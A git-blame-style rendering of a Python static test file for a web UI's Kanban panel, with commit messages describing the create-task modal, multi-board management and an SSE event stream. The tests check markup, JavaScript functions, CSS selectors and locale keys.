assert "let _kanbanIsDispatching = false;" in PANELS
|
|
|
|
|
assert "function _setKanbanDispatcherButtonsDisabled" in PANELS
|
|
|
|
|
|
|
|
|
|
run_match = re.search(r"async function runKanbanDispatcher\(\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
|
|
|
assert run_match, "runKanbanDispatcher() not found"
|
|
|
|
|
run_body = run_match.group(1)
|
|
|
|
|
assert "_kanbanIsDispatching" in run_body, (
|
|
|
|
|
"runKanbanDispatcher() must check or set _kanbanIsDispatching to block concurrent execution."
|
|
|
|
|
)
|
|
|
|
|
assert "finally" in run_body, "runKanbanDispatcher() must always clear _kanbanIsDispatching in finally."
|
|
|
|
|
assert "_setKanbanDispatcherButtonsDisabled(true)" in run_body, (
|
|
|
|
|
"runKanbanDispatcher() should disable both dispatcher buttons while posting."
|
|
|
|
|
)
|
|
|
|
|
assert "_setKanbanDispatcherButtonsDisabled(false)" in run_body, (
|
|
|
|
|
"runKanbanDispatcher() should re-enable dispatcher buttons when done."
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
nudge_match = re.search(r"async function nudgeKanbanDispatcher\(\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
|
|
|
assert nudge_match, "nudgeKanbanDispatcher() not found"
|
|
|
|
|
nudge_body = nudge_match.group(1)
|
|
|
|
|
assert "_kanbanIsDispatching" in nudge_body, (
|
|
|
|
|
"nudgeKanbanDispatcher() should also respect the dispatch in-flight guard."
|
|
|
|
|
)
|
|
|
|
|
assert "finally" in nudge_body, "nudgeKanbanDispatcher() should always clear guard in finally."
|
|
|
|
|
|
|
|
|
|
assert 'kanban-run-dispatch-btn' in INDEX
|
|
|
|
|
assert 'kanban-nudge-dispatch-btn' in INDEX
|
|
|
|
|
assert 'btnKanbanRunDispatcher' in INDEX
|
|
|
|
|
assert 'btnKanbanPreviewDispatcher' in INDEX
|
|
|
|
|
|
fix(kanban): header '+' button opens create-task modal
The Kanban sidebar panel's header '+' button (#kanbanNewTaskBtn) was
wired straight to createKanbanTask(), which reads the inline
#kanbanNewTaskTitle input and silently returns when empty. The inline
input lives below five rows of filters (search, assignee, tenant,
archived/mine toggles, stats, bulk-action bar) and is typically off-screen
on first panel open, so the header button looked dead — clicking it with
no title typed did nothing visible (no modal, no scroll, no focus shift,
no toast).
Now the header '+' opens #kanbanTaskModal — a centered overlay with the
same .kanban-modal-overlay shell the existing create-board modal uses,
so the two flows look and behave identically (centered card, dim
backdrop, ESC closes, click-on-backdrop closes). The modal exposes the
fields the backend already accepts at /api/kanban/tasks: Title, Description,
Status (Triage/Todo/Ready), Priority, Assignee (datalist suggestions from
the active board), Tenant (datalist).
UX details:
- Title is required; submit-with-empty shows a properly styled red error
- Title field auto-focuses on open
- ESC closes the modal; backdrop click closes; Enter on simple inputs
submits, Enter in the description textarea inserts a newline
- Submit POSTs only the fields the user filled in (no forced empty strings)
and auto-opens the new task's detail view
- Submit button disables while posting to prevent double-submit
- Inline quick-add (Enter on #kanbanNewTaskTitle) is preserved as a
power-user shortcut
Side effect: .kanban-modal-error styling improved (proper red alert with
border + tinted background) so the existing create-board modal benefits
from the same polish for free.
i18n: 11 new keys added across all 8 supported locales (en, ja, ru, es,
de, zh, pt, ko).
Tests: tests/test_kanban_ui_static.py::test_kanban_new_task_header_button_opens_modal
covers the modal markup, button wiring, ESC/Enter handling, datalist
population, submit behavior, and inline-quick-add fallthrough.
Verified end-to-end in the browser on an isolated test env (port 8789):
created a board from scratch, opened the modal via header '+',
submitted with title/description/status/priority/assignee/tenant filled in,
moved the task through statuses (Triage → Todo → Ready → Blocked → Archived),
added a comment, verified Cancel + ESC + backdrop-click all close cleanly,
verified validation error rendering, verified inline quick-add still works.
Closes #1964
2026-05-09 18:40:48 +00:00
|
|
|
|
2026-05-04 20:03:49 +00:00
|
|
|
def test_kanban_board_has_native_css_classes():
|
|
|
|
|
for selector in (
|
|
|
|
|
".kanban-board",
|
|
|
|
|
".kanban-column",
|
|
|
|
|
".kanban-card",
|
|
|
|
|
".kanban-card-title",
|
|
|
|
|
".kanban-meta",
|
|
|
|
|
".kanban-readonly",
|
|
|
|
|
):
|
|
|
|
|
assert selector in STYLE
|
|
|
|
|
assert "overflow-x:auto" in COMPACT_STYLE
|
|
|
|
|
|
|
|
|
|
|
2026-05-08 16:19:41 +00:00
|
|
|
def test_kanban_main_view_scrolls_when_task_preview_is_tall():
|
|
|
|
|
"""The app shell keeps body overflow hidden, so the Kanban main view
|
|
|
|
|
must own vertical scrolling. Otherwise a selected task with a long body
|
|
|
|
|
can push the board below the viewport with no way to reach it.
|
|
|
|
|
"""
|
|
|
|
|
assert re.search(
|
|
|
|
|
r"main\.main\.showing-kanban\s*>\s*#mainKanban\s*\{[^}]*display:flex;[^}]*overflow-y:auto;",
|
|
|
|
|
COMPACT_STYLE,
|
|
|
|
|
), "Kanban main view must expose a vertical scrollbar when detail content is taller than the viewport"
|
|
|
|
|
|
|
|
|
|
|
2026-05-04 20:03:49 +00:00
|
|
|
def test_kanban_i18n_keys_exist_in_every_locale_block():
|
2026-05-10 07:48:18 +00:00
|
|
|
locale_blocks = _locale_blocks_with_body(I18N)
|
|
|
|
|
assert len(locale_blocks) >= 9
|
2026-05-04 20:03:49 +00:00
|
|
|
required_keys = [
|
|
|
|
|
"tab_kanban",
|
|
|
|
|
"kanban_board",
|
|
|
|
|
"kanban_search_tasks",
|
|
|
|
|
"kanban_all_assignees",
|
|
|
|
|
"kanban_all_tenants",
|
|
|
|
|
"kanban_include_archived",
|
|
|
|
|
"kanban_visible_tasks",
|
|
|
|
|
"kanban_no_matching_tasks",
|
|
|
|
|
"kanban_unavailable",
|
|
|
|
|
"kanban_read_only",
|
|
|
|
|
"kanban_empty",
|
2026-05-04 20:21:58 +00:00
|
|
|
"kanban_comments_count",
|
|
|
|
|
"kanban_events_count",
|
|
|
|
|
"kanban_links",
|
|
|
|
|
"kanban_runs_count",
|
|
|
|
|
"kanban_no_comments",
|
|
|
|
|
"kanban_no_events",
|
|
|
|
|
"kanban_no_runs",
|
2026-05-04 21:06:37 +00:00
|
|
|
"kanban_new_task",
|
|
|
|
|
"kanban_add_comment",
|
2026-05-04 20:03:49 +00:00
|
|
|
]
|
|
|
|
|
missing = [
|
|
|
|
|
f"{locale}:{key}"
|
|
|
|
|
for locale, body in locale_blocks
|
|
|
|
|
for key in required_keys
|
|
|
|
|
if re.search(rf"\b{re.escape(key)}\s*:", body) is None
|
|
|
|
|
]
|
|
|
|
|
assert missing == []
|
2026-05-04 21:49:49 +00:00
|
|
|
|
|
|
|
|
|
2026-05-10 07:03:21 +00:00
|
|
|
def test_kanban_modal_locale_parity():
|
|
|
|
|
"""Parity check for modal-facing Kanban i18n keys.
|
|
|
|
|
|
|
|
|
|
Any locale that already contains modal-facing Kanban strings should include the
|
|
|
|
|
same set of modal vocabulary so new additions don't regress into locale gaps.
|
|
|
|
|
"""
|
2026-05-10 07:48:18 +00:00
|
|
|
locale_blocks = _locale_blocks_with_body(I18N)
|
2026-05-10 07:03:21 +00:00
|
|
|
modal_keys = [
|
|
|
|
|
"kanban_title",
|
|
|
|
|
"kanban_description",
|
|
|
|
|
"kanban_description_placeholder",
|
|
|
|
|
"kanban_status",
|
|
|
|
|
"kanban_assignee",
|
|
|
|
|
"kanban_assignee_placeholder",
|
|
|
|
|
"kanban_tenant",
|
|
|
|
|
"kanban_tenant_placeholder",
|
|
|
|
|
"kanban_priority",
|
|
|
|
|
"kanban_priority_hint",
|
|
|
|
|
"kanban_title_required",
|
2026-05-10 17:06:10 +00:00
|
|
|
"kanban_status_original_hint",
|
2026-05-10 07:03:21 +00:00
|
|
|
]
|
2026-05-10 07:48:18 +00:00
|
|
|
anchor_key = "kanban_status"
|
2026-05-10 07:03:21 +00:00
|
|
|
missing = [
|
|
|
|
|
f"{locale}:{key}"
|
|
|
|
|
for locale, body in locale_blocks
|
|
|
|
|
if re.search(rf"\b{re.escape(anchor_key)}\s*:", body) is not None
|
|
|
|
|
for key in modal_keys
|
|
|
|
|
if re.search(rf"\b{re.escape(key)}\s*:", body) is None
|
|
|
|
|
]
|
|
|
|
|
assert missing == []
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
2026-05-04 21:49:49 +00:00
|
|
|
|
|
|
|
|
def test_kanban_dashboard_parity_core_controls_are_native():
|
|
|
|
|
assert 'id="kanbanOnlyMine"' in INDEX
|
|
|
|
|
assert 'id="kanbanBulkBar"' in INDEX
|
|
|
|
|
assert 'id="kanbanStats"' in INDEX
|
|
|
|
|
assert "async function nudgeKanbanDispatcher" in PANELS
|
|
|
|
|
assert "async function bulkUpdateKanban" in PANELS
|
|
|
|
|
assert "async function refreshKanbanEvents" in PANELS
|
|
|
|
|
for endpoint in (
|
|
|
|
|
"'/api/kanban/stats'",
|
|
|
|
|
"'/api/kanban/assignees'",
|
|
|
|
|
"'/api/kanban/events'",
|
|
|
|
|
"'/api/kanban/dispatch'",
|
|
|
|
|
"'/api/kanban/tasks/bulk'",
|
|
|
|
|
"'/api/kanban/tasks/' + encodeURIComponent(taskId) + '/log'",
|
|
|
|
|
"'/api/kanban/tasks/' + encodeURIComponent(taskId) + '/block'",
|
|
|
|
|
"'/api/kanban/tasks/' + encodeURIComponent(taskId) + '/unblock'",
|
|
|
|
|
):
|
|
|
|
|
assert endpoint in PANELS
|
feat(kanban): multi-board management + SSE live event stream
Closes the remaining gaps to first-party Hermes Agent dashboard parity:
multi-board CRUD on /api/kanban/boards and a real-time event stream over
Server-Sent Events. Builds on top of #1660 (review-feedback hardening).
== Multi-board ==
Five new endpoints mirror the agent dashboard plugin contract verbatim
(plugins/kanban/dashboard/plugin_api.py) so a single CLI / gateway slash
command / dashboard / WebUI all share the same active-board pointer:
GET /api/kanban/boards
POST /api/kanban/boards
PATCH /api/kanban/boards/<slug>
DELETE /api/kanban/boards/<slug>
POST /api/kanban/boards/<slug>/switch
All existing endpoints accept ?board=<slug> (and writes also accept
'board' in the JSON body) — query takes precedence over body. The slug
travels through the kanban_db library which already had multi-board
support; the bridge is mostly thin wrappers around create_board /
remove_board / list_boards / set_current_board / get_current_board.
The default board is protected from deletion. Slugs are normalised
through kb._normalize_board_slug() with path-traversal rejection.
Archive is the default for DELETE; ?delete=1 hard-deletes.
Frontend gets a 'Default ▾' switcher pill in the panel header. The menu
lists every board (current first), per-status total badges, plus three
actions (New / Rename / Archive). Create + rename use the same modal
with a slug auto-derived from the name. Archive routes through the
existing showConfirmDialog with a clear 'tasks remain on disk and the
board can be restored from kanban/boards/_archived/' message.
Active-board state is persisted to localStorage so a refresh stays put.
The on-disk pointer in kanban/current is the cross-process source of
truth, kept in sync via POST /boards/<slug>/switch.
== SSE event stream ==
GET /api/kanban/events/stream is a long-lived Server-Sent Events feed
that mirrors the agent dashboard's WebSocket /events contract. The
WebUI uses SSE rather than WebSocket because (1) the existing transport
is BaseHTTPServer, not async — WS would require a significant refactor
or a hijack-the-socket hack; (2) SSE is the right tool for unidirectional
server-pushed event streams; (3) browsers auto-reconnect on drop;
(4) the existing /api/approval/stream and /api/clarify/stream patterns
are proven and easy to copy.
The handler polls task_events at 300ms (matching the agent dashboard's
WebSocket poll cadence) so write-to-receive latency is identical.
Heartbeats every 15s prevent proxy/CDN reaping. Hard cap of 200 events
per batch.
Frontend uses EventSource by default and falls back to 30s HTTP polling
after 3 SSE failures. A 250ms debounce coalesces bursts of N events
into a single board re-fetch. Stream is torn down when the user leaves
the Kanban panel.
== Bugs fixed during build ==
(1) read_only=True legacy lie. _board_payload, _events_payload,
_task_log_payload, and the no-change short-circuit all hardcoded
read_only=True from the read-only-bridge era of #1645. Bridge has
been writable since #1649 — flag now matches reality.
(2) Modal + dropdown menu transparent backgrounds. The PR stack used
var(--panel) which is undefined in the WebUI design system (uses
--surface, --bg, gradient panels). Replaced with the same gradient
+ accent border pattern used by the .app-dialog overlay.
(3) Archive race. kb.connect(board=<slug>) auto-materialises the
directory + sqlite on first call, so any in-flight SSE poll on a
board mid-archive would silently un-archive it by re-creating the
directory. Two-layer fix: (a) frontend stops the SSE stream BEFORE
the DELETE call, restarts on failure; (b) bridge's _kanban_sse_fetch_new
checks kb.board_exists() before connect(), returning empty results
when the board is gone.
(4) Save vs. Cancel button visual hierarchy. Both rendered as identical
secondary buttons in the modal. Save now uses the .primary class
with accent-tinted gold styling.
(5) Mobile viewport gaps. Added 9 rules under @media (max-width: 640px)
covering the switcher button (smaller padding/font), name truncation
(max-width:140px), menu sizing (min(280px, 100vw - 24px)), modal
padding, and inline-row stacking.
== Tests ==
+45 new tests across two files. Bridge tests: 18 covering board CRUD
endpoints, slug validation, default-board protection, dispatcher routing,
board isolation (verified via connect() spy), and 3 SSE tests including
a worker-thread integration test with threading.Event watchdog. UI static
tests: 11 covering switcher markup, modal markup, JS handler presence,
REST verb usage, board-param plumbing, localStorage persistence,
showConfirmDialog usage, EventSource subscription, polling fallback,
panel-switch teardown, and 250ms debouncing.
Bridge tests: 18 → 36 (+18 multi-board, +3 SSE)
UI static tests: 15 → 26 (+11)
Total kanban: 33 → 63
Full repo test suite: 4351 passed, 0 regressions.
== Live verification ==
End-to-end browser walkthrough on port 8789:
- Create Sprint 12 + Backlog via modal: switcher updates ✓
- Switch between boards: count isolation correct ✓
- Add task on Sprint 12 via API: SSE delivers in 400ms ✓
- 5-task burst: 250ms debounce coalesces to single render ✓
- Rename board via modal: switcher label updates ✓
- Archive board: confirm dialog → board moved to _archived/, no zombie
directory (race fix verified) ✓
- Zero JS errors throughout 11-step flow
Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
2026-05-05 00:18:36 +00:00
|
|
|
# Live event delivery — either the legacy 30s setInterval polling OR
|
|
|
|
|
# the new SSE /api/kanban/events/stream subscription must be present.
|
|
|
|
|
# The multi-board PR replaced setInterval with EventSource as the
|
|
|
|
|
# default, falling back to setInterval after repeated SSE failures.
|
|
|
|
|
assert (
|
|
|
|
|
"setInterval(refreshKanbanEvents" in PANELS
|
|
|
|
|
or "new EventSource" in PANELS
|
|
|
|
|
), "Kanban must subscribe to live events via SSE or polling"
|
2026-05-04 21:49:49 +00:00
|
|
|
assert "prompt(" not in PANELS
|
|
|
|
|
assert "confirm(" not in PANELS
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_dashboard_parity_i18n_keys_exist():
|
2026-05-10 07:48:18 +00:00
|
|
|
locale_blocks = _locale_blocks_with_body(I18N)
|
2026-05-04 21:49:49 +00:00
|
|
|
required_keys = [
|
|
|
|
|
"kanban_only_mine",
|
|
|
|
|
"kanban_bulk_action",
|
|
|
|
|
"kanban_nudge_dispatcher",
|
2026-05-08 15:19:04 +00:00
|
|
|
"kanban_work_queue_hint",
|
2026-05-04 21:49:49 +00:00
|
|
|
"kanban_stats",
|
|
|
|
|
"kanban_worker_log",
|
|
|
|
|
"kanban_block",
|
|
|
|
|
"kanban_unblock",
|
|
|
|
|
]
|
|
|
|
|
missing = [
|
|
|
|
|
f"{locale}:{key}"
|
|
|
|
|
for locale, body in locale_blocks
|
|
|
|
|
for key in required_keys
|
|
|
|
|
if re.search(rf"\b{re.escape(key)}\s*:", body) is None
|
|
|
|
|
]
|
|
|
|
|
assert missing == []
|
2026-05-04 22:03:51 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_ui_parity_polish_adds_card_metadata_quick_actions_and_swimlanes():
|
|
|
|
|
for symbol in (
|
|
|
|
|
"function _kanbanRenderProfileLanes",
|
|
|
|
|
"function _kanbanCardQuickActions",
|
|
|
|
|
"function quickKanbanCardAction",
|
|
|
|
|
"function _kanbanRenderMarkdown",
|
|
|
|
|
"function _kanbanCardStalenessClass",
|
|
|
|
|
"function dragKanbanTask",
|
|
|
|
|
"function dropKanbanTask",
|
|
|
|
|
):
|
|
|
|
|
assert symbol in PANELS
|
|
|
|
|
for token in (
|
|
|
|
|
"kanban-profile-lanes",
|
|
|
|
|
"kanban-card-topline",
|
|
|
|
|
"kanban-card-actions",
|
|
|
|
|
"kanban-card-id",
|
|
|
|
|
"kanban-card-assignee",
|
|
|
|
|
"draggable=\"true\"",
|
|
|
|
|
"ondrop=\"dropKanbanTask",
|
|
|
|
|
"onkeydown=\"if(event.key==='Enter'||event.key===' ')",
|
|
|
|
|
):
|
|
|
|
|
assert token in PANELS
|
|
|
|
|
assert "target=\"_blank\" rel=\"noopener noreferrer\"" in PANELS
|
|
|
|
|
assert "javascript:" not in PANELS.lower()
|
|
|
|
|
|
|
|
|
|
|
2026-05-18 14:13:04 +00:00
|
|
|
def test_kanban_dragging_card_does_not_open_detail_on_drop_click():
|
|
|
|
|
"""Regression: drag/drop should move a card without opening task detail."""
|
|
|
|
|
assert "function _kanbanSuppressNextCardClick" in PANELS
|
|
|
|
|
assert "let _kanbanSuppressCardClickUntil" in PANELS
|
|
|
|
|
assert "function openKanbanCard" in PANELS
|
|
|
|
|
assert "function finishKanbanDrag" in PANELS
|
|
|
|
|
|
|
|
|
|
drag_fn = re.search(r"function dragKanbanTask\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
|
|
|
assert drag_fn, "dragKanbanTask() not found"
|
|
|
|
|
assert "_kanbanSuppressNextCardClick" in drag_fn.group(1), (
|
|
|
|
|
"drag start must arm the click suppressor so the trailing click after "
|
|
|
|
|
"drop cannot open the task detail pane"
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
finish_fn = re.search(r"function finishKanbanDrag\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
|
|
|
assert finish_fn, "finishKanbanDrag() not found"
|
|
|
|
|
assert "_kanbanSuppressNextCardClick" in finish_fn.group(1), (
|
|
|
|
|
"drag end must refresh the suppressor window before browsers emit a "
|
|
|
|
|
"trailing synthetic click"
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
drop_fn = re.search(r"async function dropKanbanTask\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
|
|
|
assert drop_fn, "dropKanbanTask() not found"
|
|
|
|
|
drop_body = drop_fn.group(1)
|
|
|
|
|
assert "_kanbanSuppressNextCardClick" in drop_body
|
|
|
|
|
assert "event.stopPropagation()" in drop_body
|
|
|
|
|
assert "updateKanbanTask(taskId, {status}, {openDetail: false})" in drop_body, (
|
|
|
|
|
"drag/drop status updates must refresh the board without opening the task detail"
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
update_fn = re.search(r"async function updateKanbanTask\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
|
|
|
assert update_fn, "updateKanbanTask() not found"
|
|
|
|
|
update_body = update_fn.group(1)
|
|
|
|
|
assert "const openDetail = !opts || opts.openDetail !== false;" in update_body
|
|
|
|
|
assert "if (openDetail) await loadKanbanTask" in update_body
|
|
|
|
|
|
|
|
|
|
card_template = re.search(r"return `<article class=\"kanban-card.*?</article>`;", PANELS, re.DOTALL)
|
|
|
|
|
assert card_template, "Kanban card template not found"
|
|
|
|
|
card_html = card_template.group(0)
|
|
|
|
|
assert "ondragend=\"finishKanbanDrag(event)\"" in card_html
|
|
|
|
|
assert "onclick=\"return openKanbanCard(event," in card_html
|
|
|
|
|
assert "onclick=\"loadKanbanTask" not in card_html, (
|
|
|
|
|
"Kanban cards must not call loadKanbanTask directly from onclick; "
|
|
|
|
|
"drag/drop needs a guarded click path"
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
open_fn = re.search(r"function openKanbanCard\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
|
|
|
assert open_fn, "openKanbanCard() not found"
|
|
|
|
|
open_body = open_fn.group(1)
|
|
|
|
|
for token in (
|
|
|
|
|
"Date.now()",
|
|
|
|
|
"_kanbanSuppressCardClickUntil",
|
|
|
|
|
"preventDefault",
|
|
|
|
|
"stopPropagation",
|
|
|
|
|
"loadKanbanTask",
|
|
|
|
|
):
|
|
|
|
|
assert token in open_body
|
|
|
|
|
|
|
|
|
|
|
2026-05-08 15:19:04 +00:00
|
|
|
def test_kanban_lifecycle_controls_do_not_offer_manual_running_start():
|
|
|
|
|
assert "quickKanbanCardAction(event,'${id}','running')" not in PANELS
|
|
|
|
|
assert "kanban_card_start" not in PANELS
|
2026-05-08 16:54:06 +00:00
|
|
|
assert "kanban_card_start" not in I18N
|
2026-05-08 15:19:04 +00:00
|
|
|
assert '<option value="running">Running</option>' not in INDEX
|
|
|
|
|
assert "Cannot set status to 'running' directly" not in PANELS
|
|
|
|
|
assert "kanban_work_queue_hint" in PANELS
|
|
|
|
|
assert "Preview dispatcher" in INDEX
|
|
|
|
|
assert "Nudge dispatcher" not in INDEX
|
|
|
|
|
|
|
|
|
|
|
2026-05-04 22:03:51 +00:00
|
|
|
def test_kanban_ui_parity_polish_css_and_i18n_exist():
|
|
|
|
|
for selector in (
|
|
|
|
|
".kanban-profile-lanes",
|
|
|
|
|
".kanban-profile-lane",
|
|
|
|
|
".kanban-card-actions",
|
|
|
|
|
".kanban-card-action",
|
|
|
|
|
".kanban-card-topline",
|
|
|
|
|
".kanban-card-stale-amber",
|
|
|
|
|
".kanban-card-stale-red",
|
|
|
|
|
".kanban-column.drop-target",
|
|
|
|
|
".hermes-kanban-md",
|
|
|
|
|
):
|
|
|
|
|
assert selector in STYLE
|
2026-05-10 07:48:18 +00:00
|
|
|
locale_blocks = _locale_blocks_with_body(I18N)
|
2026-05-08 15:19:04 +00:00
|
|
|
required_keys = ["kanban_lanes_by_profile", "kanban_card_complete", "kanban_card_archive", "kanban_unassigned", "kanban_work_queue_hint"]
|
2026-05-04 22:03:51 +00:00
|
|
|
missing = [
|
|
|
|
|
f"{locale}:{key}"
|
|
|
|
|
for locale, body in locale_blocks
|
|
|
|
|
for key in required_keys
|
|
|
|
|
if re.search(rf"\b{re.escape(key)}\s*:", body) is None
|
|
|
|
|
]
|
|
|
|
|
assert missing == []
|
2026-05-04 22:43:05 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_review_feedback_static_ui_fixes_exist():
|
|
|
|
|
assert "function closeKanbanTaskDetail" in PANELS
|
|
|
|
|
assert "kanban-back-btn" in PANELS
|
|
|
|
|
assert "function _kanbanFormatTimestamp" in PANELS
|
|
|
|
|
assert "function _kanbanEventSummary" in PANELS
|
|
|
|
|
assert "data.log || {}" in PANELS
|
|
|
|
|
assert ".kanban-task-preview-header" in STYLE
|
|
|
|
|
assert ".kanban-back-btn" in STYLE
|
|
|
|
|
assert "@media (max-width: 640px)" in STYLE
|
|
|
|
|
assert "scroll-snap-type" in STYLE
|
|
|
|
|
assert "kanban-stats-grid" in PANELS
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_task_detail_renderer_executes_with_log_and_formats_feedback():
|
|
|
|
|
import json
|
|
|
|
|
import subprocess
|
|
|
|
|
script = """
|
|
|
|
|
const fs = require('fs');
|
|
|
|
|
const vm = require('vm');
|
|
|
|
|
const src = fs.readFileSync('static/panels.js', 'utf8');
|
|
|
|
|
function esc(value) {
|
|
|
|
|
return String(value == null ? '' : value).replace(/[&<>\"']/g, ch => ({'&':'&','<':'<','>':'>','\"':'"',"'":'''}[ch]));
|
|
|
|
|
}
|
|
|
|
|
const context = {
|
|
|
|
|
console,
|
|
|
|
|
setInterval(){ return 1; },
|
|
|
|
|
document: { querySelectorAll(){ return []; }, getElementById(){ return null; }, addEventListener(){} },
|
|
|
|
|
window: { addEventListener(){} },
|
|
|
|
|
t(key){
|
|
|
|
|
const map = {
|
|
|
|
|
kanban_no_description:'No description', kanban_comments_count:'Comments ({0})', kanban_events_count:'Events ({0})',
|
|
|
|
|
kanban_links:'Links', kanban_runs_count:'Runs ({0})', kanban_worker_log:'Worker log', kanban_empty:'Empty',
|
|
|
|
|
kanban_no_comments:'No comments', kanban_no_events:'No events', kanban_no_runs:'No runs', kanban_add_comment:'Add comment',
|
|
|
|
|
kanban_block:'Block', kanban_unblock:'Unblock', kanban_back_to_board:'Back to board', kanban_task:'Task',
|
|
|
|
|
kanban_status_triage:'Triage', kanban_status_todo:'Todo', kanban_status_ready:'Ready', kanban_status_running:'Running',
|
|
|
|
|
kanban_status_blocked:'Blocked', kanban_status_done:'Done', kanban_status_archived:'Archived'
|
|
|
|
|
};
|
|
|
|
|
return map[key] || key;
|
|
|
|
|
},
|
|
|
|
|
esc, $(){ return null; }, api(){}, showToast(){}, li(){ return ''; }, S: {}
|
|
|
|
|
};
|
|
|
|
|
vm.createContext(context);
|
|
|
|
|
vm.runInContext(src, context);
|
|
|
|
|
const html = vm.runInContext(`_kanbanRenderTaskDetail({
|
|
|
|
|
task:{id:'t_1', title:'Demo', status:'ready', body:'Body'},
|
|
|
|
|
comments:[{body:'hello', author:'webui', created_at:1777931496}],
|
|
|
|
|
events:[{kind:'blocked', payload:{reason:'waiting'}, created_at:1777931496}],
|
|
|
|
|
links:{parents:['t_0'], children:[]},
|
|
|
|
|
runs:[],
|
|
|
|
|
log:{content:'worker log'}
|
|
|
|
|
})`, context);
|
|
|
|
|
console.log(JSON.stringify({html}));
|
|
|
|
|
"""
|
|
|
|
|
result = subprocess.run(["node", "-e", script], check=True, capture_output=True, text=True)
|
|
|
|
|
html = json.loads(result.stdout)["html"]
|
|
|
|
|
assert "worker log" in html
|
|
|
|
|
assert "kanban-back-btn" in html
|
|
|
|
|
assert "Back to board" in html
|
|
|
|
|
assert "1777931496" not in html
|
|
|
|
|
assert "waiting" in html
|
|
|
|
|
assert "ReferenceError" not in html
|
2026-05-04 23:32:05 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_readonly_banner_starts_hidden_and_is_toggled_on_load():
|
|
|
|
|
"""The 'Read-only view' banner must start hidden in the HTML and only
|
|
|
|
|
become visible when the bridge reports read_only=true. Always-visible
|
|
|
|
|
label is misleading when the kanban_db is fully writable.
|
|
|
|
|
"""
|
|
|
|
|
import os
|
|
|
|
|
here = os.path.dirname(os.path.abspath(__file__))
|
|
|
|
|
index_path = os.path.join(here, "..", "static", "index.html")
|
|
|
|
|
with open(index_path, "r", encoding="utf-8") as f:
|
|
|
|
|
html = f.read()
|
|
|
|
|
# Banner must be in HTML but default-hidden
|
|
|
|
|
assert 'class="kanban-readonly"' in html
|
|
|
|
|
assert 'data-i18n="kanban_read_only"' in html
|
|
|
|
|
# The banner element must have inline style="display:none" (default-hidden)
|
|
|
|
|
# A naive substring check is sufficient — there is exactly one such element.
|
|
|
|
|
banner_block = html[html.find('class="kanban-readonly"'):html.find('class="kanban-readonly"') + 200]
|
|
|
|
|
assert 'display:none' in banner_block, (
|
|
|
|
|
"Read-only banner must default to display:none in HTML to avoid "
|
|
|
|
|
"flashing the wrong message before loadKanban() resolves the actual "
|
|
|
|
|
"read_only flag from the API."
|
|
|
|
|
)
|
|
|
|
|
# And panels.js must toggle it based on _kanbanBoard.read_only
|
|
|
|
|
panels_path = os.path.join(here, "..", "static", "panels.js")
|
|
|
|
|
with open(panels_path, "r", encoding="utf-8") as f:
|
|
|
|
|
panels = f.read()
|
|
|
|
|
assert ".kanban-readonly" in panels, (
|
|
|
|
|
"panels.js must reference .kanban-readonly to toggle the banner"
|
|
|
|
|
)
|
|
|
|
|
assert "_kanbanBoard.read_only" in panels, (
|
|
|
|
|
"panels.js must consult _kanbanBoard.read_only when toggling the banner"
|
|
|
|
|
)
|
feat(kanban): multi-board management + SSE live event stream
Closes the remaining gaps to first-party Hermes Agent dashboard parity:
multi-board CRUD on /api/kanban/boards and a real-time event stream over
Server-Sent Events. Builds on top of #1660 (review-feedback hardening).
== Multi-board ==
Five new endpoints mirror the agent dashboard plugin contract verbatim
(plugins/kanban/dashboard/plugin_api.py) so a single CLI / gateway slash
command / dashboard / WebUI all share the same active-board pointer:
GET /api/kanban/boards
POST /api/kanban/boards
PATCH /api/kanban/boards/<slug>
DELETE /api/kanban/boards/<slug>
POST /api/kanban/boards/<slug>/switch
All existing endpoints accept ?board=<slug> (and writes also accept
'board' in the JSON body) — query takes precedence over body. The slug
travels through the kanban_db library which already had multi-board
support; the bridge is mostly thin wrappers around create_board /
remove_board / list_boards / set_current_board / get_current_board.
The default board is protected from deletion. Slugs are normalised
through kb._normalize_board_slug() with path-traversal rejection.
Archive is the default for DELETE; ?delete=1 hard-deletes.
Frontend gets a 'Default ▾' switcher pill in the panel header. The menu
lists every board (current first), per-status total badges, plus three
actions (New / Rename / Archive). Create + rename use the same modal
with a slug auto-derived from the name. Archive routes through the
existing showConfirmDialog with a clear 'tasks remain on disk and the
board can be restored from kanban/boards/_archived/' message.
Active-board state is persisted to localStorage so a refresh stays put.
The on-disk pointer in kanban/current is the cross-process source of
truth, kept in sync via POST /boards/<slug>/switch.
== SSE event stream ==
GET /api/kanban/events/stream is a long-lived Server-Sent Events feed
that mirrors the agent dashboard's WebSocket /events contract. The
WebUI uses SSE rather than WebSocket because (1) the existing transport
is BaseHTTPServer, not async — WS would require a significant refactor
or a hijack-the-socket hack; (2) SSE is the right tool for unidirectional
server-pushed event streams; (3) browsers auto-reconnect on drop;
(4) the existing /api/approval/stream and /api/clarify/stream patterns
are proven and easy to copy.
The handler polls task_events at 300ms (matching the agent dashboard's
WebSocket poll cadence) so write-to-receive latency is identical.
Heartbeats every 15s prevent proxy/CDN reaping. Hard cap of 200 events
per batch.
Frontend uses EventSource by default and falls back to 30s HTTP polling
after 3 SSE failures. A 250ms debounce coalesces bursts of N events
into a single board re-fetch. Stream is torn down when the user leaves
the Kanban panel.
== Bugs fixed during build ==
(1) read_only=True legacy lie. _board_payload, _events_payload,
_task_log_payload, and the no-change short-circuit all hardcoded
read_only=True from the read-only-bridge era of #1645. Bridge has
